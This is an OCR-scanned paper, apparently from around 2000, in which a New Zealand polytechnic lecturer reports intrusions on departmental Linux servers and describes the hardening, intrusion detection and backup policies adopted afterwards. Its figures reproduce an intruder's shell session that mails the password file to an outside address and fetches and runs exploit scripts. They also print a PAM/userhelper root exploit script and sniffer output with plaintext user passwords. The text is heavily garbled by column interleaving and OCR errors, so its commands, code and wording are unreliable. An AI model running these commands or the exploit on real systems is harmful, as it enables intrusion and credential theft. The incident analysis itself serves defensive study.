Security on a Linux Box: -
a story of problems with
hacking
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Faculty of Art and Technology you may be held liable. Techniques being discussed now
Otago Polytechnic indicate that very much more sophisticated methods for
Dunedin, New Zealand hacking W|I_I be ava|la_ble in the near future (_2).
. A tertiary teaching environment, particularly where
malcolm@bit.tekotago.ac.nz computing itself is the subject, is a particularly difficult
environment for providing computing resources reliably
and securely to support the teaching programme.

1. INTRODUCTION
2. SERVICES

This paper is by way of a report on some problems
we have had with hacking on the servers supporting our ~ Our servers provide teaching resources required for
course, the Bachelor of Information at Otago Polytechnigarious modules of our course and the ability to distribute
and what we have done in response. course material, administrative notices, and our face to the

I will show the technique used by hackers in thigvorld. The teaching resources provided include various
case and the problems of building a system that &pplication packages, notably databases, and also the tools
sufficiently robust to minimise the problems we willnecessary for practical work requiring programming.
encounter from further attacks. We must also provide a reasonable level of data

I am certainly no expert in security but the experiencgecurity and data persistence. Students should not be able
has been a learning one and has emphasised thénterfere with each other’s work and staff should be able
importance of this aspect of computing for me. to expect to keep information confidential. Reasonable here

Security is rapidly becoming appreciated as one df judged in relation to the expected abilities and knowledge
the most important aspects of supporting computingf the users.
services, particularly internet related services. Recent The services we run to support these functions
hacking (1) and virus attacks have emphasised thigclude: a web server, mail, various databases and
importance and the poor appreciation and attention ttagplications, compilers, and the operating system itself.
matter has, till now, been given. We also wish to give students opportunity to explore

Even if your system itself suffers no damage, it mathe very many functions provided by a modern operating
yet be used to launch attacks against other machines &ygtem in addition to the formal teaching curriculum of the

course so many other services are run in addition to the
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3. USER ADMINISTRATION

All students need access to the system to access
basic administrative information.

FOSTERING COMPUTING EDUCATION IN NEW ZEALAND




For particular classes, students require extragl, CONFLICT OF

services beyond this: application and development
packages, compilers, and the privilege of being able to REQUIREMENTS

execute programs. _ _ o .
Students are variable creatures; it is not possible to ~ We require a flexible system providing many services

C|assify them Convenienﬂy into groups with Consister{p a difficult-to-administer set of users. Unfortunat9|y there

requirements. There are too many exceptions. It has prové@ fundamental conflict between security and flexibility.

impractical to limit students to only those services thelyespite this, we need to provide students with a computing

need as part of their course work. Therefore all studer8vironment suitable for supporting their work. -

are given accounts and, up till now, only irregular pruning ~ We have been using computers in this fashion for a

of accounts is undertaken. number of years. It has worked well but recently our ability

Our environment complicates the problem. Our servé® do this has been compromised.

is within the polytech network system and, for a variety of

reasons, we cannot consider our user passwords to e  TWQO BREAK-INS

secure. Security can only come from protecting the root

password. Probably the last thing any systems administrator
wants to getis a message like Fig. 1. The machines referred
to are Bob and Fred, both Linux servers. When | received

7

| VeNoMdus,17/9/99 3:14 PM,bit fred,adtemis '
Coten . Bap 199% 15:14:52 #1204 [RIET)

Frome “ranomEvenonon s . pergulaposased  ooms

¥-Sands thugdlife

Reply- nenRoybardade .oon

Tere may sarthlight . so.ne

221 albiadallie. penqainpossoed . oom
Sabimcst: bit,frod,adtenia
HIME=Yeraicn: 1.0

Stabumz RO

K-Etatuas

Bi this is VeloMooS of milwlm, you and i know that you got hacked, bat im
juat sayirg after cwning u 3 times ls borisg now, u should get sces of the
updates for 5.2

Likw vizia cron updats

bind vpdste

wattp update

con i moobed yoo servial waps

and did a kave t> use ths pame paoowd each Limed

15731g¥

thats really bad sesurity ne how 1 thooght 1 sheald tell u, u didot ave ks
Cada the Box offlics ither

m Sbindupdated

m SbBlafays

mv Sbinfologin /binglegin

raboot tha sarver and there ya go its on-deor. .

yoo shoildet Lye bout the file strocturs tho, u took the box off cos o
ke that it wan owned...

ni how just repember 12 o in lisue security is the naln 1ssue
it® & networkieg ca that hes many flaws and &8 roct it im your job to keep
ahasd of thess £laws, .

ne hiw
18r VedoMous ‘

Figure 1
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B A T T T e T e S o
B 0 S 0 D - i “h R e "R~ i =l <~ = < -k = < R S "l R S -l S S 0 0~ < <L -k < "l e (R - R S - e S
E e e e e e e e e e e S e e e e S e e e e
i <~ i " R i -l R I "l I i =l <~ = < R i (s R T (R R (A A 0 R T TR R A A Tl R e R TR O R A
P PR PR SRR PR PR DR SR SR T PP PADE P D DR BT PR P S DT B D —
i <~ i " R i -l R I "l I i =l <~ = < R i (s R T (R R (A A 0 R T TR R A A Tl R e R TR O R A
P PR PR SRR PR PR DR SR SR T PP PADE P D DR BT PR P S DT B D —
i <~ i " R i -l R I "l I i =l <~ = < R i (s R T (R R (A A 0 R T TR R A A Tl R e R TR O R A
P PR PR SRR PR PR DR SR SR T PP PADE P D DR BT PR P S DT B D —
i <~ i~ R i -l R I "l I i = < “hl = < <R i (s R T (R R (A S 0 S R T TR R A A Tl R (e R TR O R A
T T e S e T S s e T o T S T o T T T T T T

D S i S i e e S S S A " it "l s il il "l " S " S © S
P*P"™F

sep & 16:47:07 bit

“H{-"E“H {- “E“H {-“E“H{-“E“H{- “E"H {-"E“H {-"E"H {-"E"H {-“E"H{-“E"H {-"E™H {

attempted from 24, 218,80 253

Sep B 16:47:07 bit mountd[293]: Vnaunthorized access by HFS client
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Figure 2

the above email, | already knew about that break-in anB.2 Second Attack
had already taken measures to patch things up. We have

had others since; it is a continuing business. | will discuss  On 17/2/00 a student indicated that something was
this first break-in and a subsequent one | think was relatqgrong with sendmail. There had been another attack.

I will only consider security from the aspect of Was it the same hacker? Had other hacks gone
network access as this is where our current problems ligndetected? A fundamental problem is that, if the hacker

is good at his job, there is no way of telling after the
5.1 First Attack event (perhaps this is not quite true).
In this case he had got into a user account, possibly

On the morning of 12/9/99 Bob had locked up. Aafter cracking the stolen password file, it turned out to
quick look found errors in the home partition and a seardtave been a very weak password, or from output of the
through the logs found some odd entries. An excerpt siffer.
shown in Fig. 2. It is an attempt at a buffer overflow. An By chance, | discovered the hacker actually logged
nslookup of the IP address revealed an account on a looal | switched off the network and got a full record of his
ISP but this too may have been a hacked account. Thession (Fig 3) . It is interesting to see what is done. The
hacker had also gained control of some accounts, minehatcker ran three shell scripts he downloaded: pamslam.sh,
least. He hacked my other machine Fred which was NRSerrooter.sh and oracle.sh. These scripts exploit a hole in
mounted on Bob and vice versa. | had unwisely used ntlye versions of PAM and userhelper we were running at
ISP password for this, held in cleartext. So he got into nthe time. userhelper runs with SUID root and a hole in
ISP account too. PAM allowed anyone to gain root access. The result of

Perhaps the email explained all. Perhaps not. Maylke scripts was an unlogged telnet session with root
there was more than one hacker involved. Later frivileges. Fig. 4 is the pamslam.sh script.
discovered that the password file had been stolen and a And, during this process, for good measure, he stole
packet sniffer inserted. Recovery was urgent as Bob wasother copy of the password file. One should note the
needed for its teaching functions so | installed a neweed to be able to compile code and privileges to run
version of the OS, RedHat V6.0. Unfortunately thigprograms.
precluded further investigation.

(BN SN e . e . @ BN O Q@ § o




w; g e e e e e
cat fetc /passwd

cat setoc/passwd | mail dawvenom@cyberdode. comn
1=;

cak wpgrade. log

Peing zefuid means'we can get root.
fix:
Ho fuckin idea for a geood fix. Get rid of the .. paths in wserhelper

for a guick fix. Remember ‘streat’ isn't a wery good wap of confining
a path te a particular subdirectorp.

¥

w; . #props to my mommy and daddy, cuz thep made me deink mp milk.
1= -la fshinfla

cat * _pamslam.c 44 BOF

m -rf ~/ bash_hiztorm #inclndes stdlib. he
W #include<unistd. he

t #included sps Mtypes he
:E'-me- wold _init fwoid)

=

i setuid {getenid{)};
W spstem (" /bin fsh"
1=; i
lS mF
1= /binflogin echo -n .

lE _la' "I.-'bm"lrll:' . echo -e auth'\trequired\WE3PWD/ _pamslam. =0 * _pamslam. conf
1= -la /binslogin chmod 755 _pamslam. ¢ onf

strings /binflo

. . - echo -no.
strings sbinflogin
yr- gee -£PIC -0 _pamslam.o -¢ _pamslam. o
:
cd .l'rt‘m-P echo -n o
lynx 210,55, 82 . B1/sp s
Cﬁml:lli 0755 ns= 14 -shared -o _pamslam.so _pamslam. o
chmod 0755 wserrooter.sh echo -n o
ifuse,rrn:u:lte,r. zh chmod 7B _pamslam.so
=
pico nserraoter. sh gcho 0 0
fusercooter. sh m _'pa.msiam.c
m -rf userrooter. sh i DSt
Ipnx 210.55. 82 61 =p f echo o
pica eracle. sh Aasrfshinserhelper -w oSS SPWD/_pamslan. cont

chmod 0755 oracle. sh

_Foracle. sh sleep 1=

1= M _pamslam. sa

M -rf ora¥ o _pamslam. conf

1=

mu -rf libmo_ex. so.1.0 Figure4

1=

cat listener. log

ig listener. log Actually the real login had been moved from /bin
w; to /shin and the trojan login inserted in its place.

o | had tidied up what | could find. However, short of
W doing a complete system reinstallation, | could not be
thaé’;tTf’r;é’dfgcﬁgﬂ al certain that all problems had been fixed. This was borne
PlS “la ﬂ,?ﬂfﬂyﬁog 4 out later when | found out that someone had gained the
3:_ at eftosred root password within a week of my having changed it. The
wf policy we were following of trying to repair a system and
cat wpgrade. log | grep -i term defend ourselves from attack was not working. It was time

to create a new system that would limit our vulnerability
to attack and make the effects of any further hacking
events less serious.
Again, what else did he do? It seems probable this
was not the first time this hacker had gained entry an
also possible other hackers were involved. % TYPES OF HACKER.
This hacker was unlucky to be caught. If | had not
switched off the network when | had, he would have  In order to guard against hackers one should have
modified the history file and system logs to erase all sigrg®me understanding of the different types of hacker. Their
of his entry. Checking against the rpm database foumaotives vary so the types of hacks they perpetrate vary
trojaned versions of: login, sendmail, syslog, a modifie80 your response should vary.
syslog.conf, and several other files not belonging to the
distribution with innocuous names: findhost was théthink hackers can be usefully classified as follows:
output from a packet sniffer (Fig 5), mv, updated, and ¢ Master Hackers
extra login in /sbin. ¢ ScriptKids

Figure 3

¢ Pranksters and joy riders.




pl0-max?. dun . ibmyg. co.nz =* bbs. tekotage.ac.nz [110]
USER Fatem

PASS poopiter
STAT
QuIT

pl0-max?. dun . ibmyg. co.nz =* bbs. Ltekotagoe. ac.nz [110]
USER teroam

PASS npquist
STAT

LIST
RETE 1
RETE 2
RETE 3
RETE 4

----- [Timed 0ut]

210-55-121-101 . dialup.xtra. co.nz =* bit tekotage.ac.nz [23]
# ARSI thoomprgp me 2
més denea s

————— [Timed out]

pdb-maxd, dun . ihwg.co.nz = bbbz, tekotage. ac.nz [110]
USER Leroym

PASS npquizt

STAT

OuUIT

pde-maxd, dun . ihwg.co.nz =* bbs. tekotage. ac.nz [110]
USER annm

PASS deliasmith

STAT

LIST

EETE 1

DELE 1

qQuIT

Figure 5

¢ Taggers receive their direct attention. However, once they have
¢ Vandals gained access to your system you have very little chance
of detecting their activity. The only real chance you have
is in detecting their initial entry. To protect themselves
, from this they produce scripts of exploiting a security
The first group are gxtremely kpowledgable. They eakness and distribute these to the Script Kids through
defeat the very best security experts in the world but the\fﬁrious informal organisations. There is little evidence that

are not many of them and our sites are very unlikely i group has criminal intension. They might be described

¢ Criminals.

(BN SN e . e . @ N o Q@ @ W




as “freedom of information freaks” or “well-minded tool. Configuration is difficult. One must differentiate
zealots”. Some may be politically motivated. between the very many changes to the system that occur

The Script Kids can cause major problems. Soniegally as part of the normal operation of the system and
of them, pranksters and joy riders, adhere to a code to ilegal changes that may signal the presence of a hacker.
no damage, are interested and knowledgable of compuldre more services the system provides and the more flexible
systems and hope, themselves, to graduate to the raiiks, the more difficult it becomes to write an effective
of Master Hackers. But they may, and often do, causenfiguration file. Tripwire (4) is such a tool.
unintentional damage. This is the group we have been
dealing with. Others, though, are little concerned by7.3 Scanning System Logs.
damage they cause. They like to be known, and this is
their intention. If they cause damage, that does notoverly  system logs provide a very valuable source of
concern them, but that damage is accidental. They are algformation of what has occurred on your system. They
to taggers. Still others are more interested in the damagfould be scanned regularly for any sign of unusual
they are vandals. This last group is the cause of the greatgsivity. It was doing this that | discovered that the root
problems. password was compromised.

Criminals are certainly out there. They have no  ynfortunately, this is not an easy task. One has to
interest in computer systems per se and their use |@{ow what you are looking for and the sheer amount of
computers is only a means to attain their end. | do nghta generated by a busy system means that important
think we have been a target of this group. signs go unnoticed even by the most diligent systems

administrator. Automated tools are useful but generally

7. METHODS OF BUILDING A only for detecting known methods of breaking in. In

SECURE SYSTEM addition, once the break-in has been accomplished,
installed trojans will not write logging messages as their

. L . _ official counterparts do and may rewrite system logs to
This subject is truly vast. | will only discuss a VelYarase traces of a break-in

small number of methods that are applicable in our case. Writing logs to a write once device such as a CDROM

avoids this last problem. Usually installations do not have

7.1 Hardening the System the resources to exhaustively examine all system logs.

A first line of defence is to limit the opportunities 7 »4 Limiting Services
presented to the hacker. Security bugfixes are regularly

posted by all operating system distributions. These must The probability of a break-in is reduced as the
be incorporated as soon as possible. However, we heﬁ’l?mber of opportunities are reduced. Each service

been Sug{?ﬁ tg a(t)ta;]cks using hew ex!c:jlmt_s b?fgre. any fixgs, ided presents opportunities. By reducing the number
V\/fe;%[?; IShea. .t. erpoints to_con3| €r Include: removg seyices (to zero) one reduces the probability of a break-
0 opportunities, appropriate partitioning, removay, (to zero) and reduces the usefulness of the system (to

of redundant SEIVICes an_d password po||_C|es_. ero). However, you should not provide services you do
Tools exist to aid this process; Bastille is one S”Cﬁot need

tool (3).
. , 7.5 BackingU

7.2 Intrusion Detection 9P
| ion D ion' S DS desianed As a matter of general policy, backing up a system is

ntrus_|on ete(_:tlon yStemS (IDS) are designe tI’?ecessary. Hackers are not the only cause of problems. If
detect the first breakin. An effective method is to regularlg hack is detected by an IDS, backing up to a state before
c_reatea_digital fingerprint your systgm and compare it tQtﬁe hack can effectively restore the system. However, a
fingerprint made_at_some time earlier when the SYSteMi3 ok that was undetected may reside on the system and
Enown t% be pristine. IHoweve:, once a bfrehak—ln Iha§0 backing up also backs up the hack. The only way to
happene » you C;Iifn. nol ?;lgerhre égn-?r?y I(I)DSt ito? dsb%%id this is to restore from a pristine copy of the system.
the computer itself, including the - 1ne Should bgp;q pristine copy will not hold any user data and so deny

reloaded_each time before it is run. K_eeP'”_g them c_)eﬂﬂ important aspect of data persistence our users require.
CDROM is one way. However, there are limitations to this




7.6 Password Policy of data persistence. The other offers data persistence and
a limited range of services, in particular, users have no
. . ivilege.
In many environments an appropriate password cc P! . . .
y bprop b Both machines have been hardened with Bastille

policy will deny a hacker initial access to the system. I " .
Such a policy may enforce good passwords and agei%i/mn Tripwire as an IDS. Additionally care is taken to
i

In conjunction with a secure shell a hacker is denied acc y_“ijn theSsetrwces vvtt:]_need. Ne':ther machine runs _the
to the system. However, for a variety of reasons external indow System as this presents many opportunities

our system, we do not regard student passwords as sec[ﬂje.'”egaI acce ss.The d|ffergnce be_tween the _”_‘aCh'”eS
IS in the services they provide, their user policies, and

backup policies.

8. BUILDING A (RELATIVELY)
SECURE SYSTEM 10. LIMITED SERVICE POLICY
Itis not possible to build an absolutely secure system MACHINE - KATE
for our environment. New exploits are continually being
used. Some of the attacks on our system were using “daé/ _
zero” exploits. That is, exploits for which fixes have not ye? rvi
been introduced. It is only possible to mitigate the effecfd
of these attacks by keeping up with the hackers whi
means, essentially, joining them. This is beyond th

resources we have available and, perhaps, poses ethl . L .
P PSP or the duration of their time at Polytech and we aim for

problems. )
On the other hand, there seems to have been e data to be persistent and secure.

intent to cause damage to our system. The hackers are in _Tripv_vi_re Is run n_ightly. Itis I_oaded from CPROM.
the prankster category. The problems caused we chtime itis run. Copies of the Tripwire system fingerprint

Qg};abase are written to CDROM. A secure shell will be

concerned in that case actually showed some concern talled S0 in_dividual users can further protect their
our system and gave helpful, albeit rather rough, advi fivacy but it will be up to them to use asecure pas_sword.
Therefore the consequences of a break-in are unIikerI g/SErs are really cqncerned about privacy of their data
be severe. they should encrypt it.

Detection and recovery is the policy we decide to

follow. 11. PRISTINE BACKUP POLICY
MACHINE - BOB

Opportunity to intruders is presented though any
ce offered to a user. The services offered externally
e web, mail, ftp, and telnet. In particular, no user
cessible areas have exec privilege. A limited range of
ther services may be provided where the risk of hacking
g?ugh these is low. All students have accounts on Kate

9. REQUIREMENTS

Bob will offer basic services and those that are

Overall our need is for a reasonably secureonsidered to compromise Kate's security. This will include
environment with the ability to backup rapidly to a knowrgiving users the privilege of being able to execute
state. Within this environment we provide for the needs girograms. The programming and application development
the students and staff in our course. tools needed to support our courses will be available. Cgi

Our problem is that the needs as described earligrogramming will also be available to users as required.
conflict. They are very difficult to meet on a single machin&/ser data will not be persistent, the system will be restored
with a single security policy. In particular the needs forto a pristine copy from CDROM (and floppy for changing
data security, data persistence, and the privilege to execathiministration data) each day after running Tripwire.
programs conflict, making a system vulnerable to hackirligpgging information will be archived.
and disruption. Additionally there will be a more restrictive approach

The solution | have adopted is to split the servicd® user accounts. Accounts will be time limited to the
between two machines each running a differemuration of specific courses, a few longer duration
administrative policy with regard to security. One machinaccounts will be held for those who need them. This last
offers an exec privilege to students together with agroup will be kept small and given only to well known
arbitrarily wide range of services but offers no servicand responsible users.
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12. FURTHER WORK

Even though I believe this system will be relatively
secure and robust it is an intrinsic security weakness to
have any IP address at all. There is still the possibility that
Bob could be used to launch an attack on some other
machine. It will still be necessary to monitor Bob’s Tripwire
logs and if persistent intrusions are detected, to take action
to try to determine the methods of break-in. Techniques
such as trojaning the trojans to turn off the network and
thus capture a user history as | was fortunate enough to
do by accident, writing logs to write once devices, or even
embedding specific traps within the kernel are possible. A
good discussion of these issues is to be found in Maximum
Linux Security, whose author is an exhacker himself (5).
However, we do not envisage going to these lengths.

13. PRIORITY FOR
ADMINISTRATION

If there is any single reason that can be identified as
a cause for our security problems, it was our lack of a
formally defined policy for the system’s administration.
Our system grew from a ‘toy’ | set up for myself, started to
use for services to students in my classes, and grew into a
system providing services to a whole department.
Administration was seen as no more than an extra. Systems
don’t administer themselves. Without a well thought out
and defined policy you are open to hacking and, having
ignored reasonable precautions, be liable for damage that
might result.
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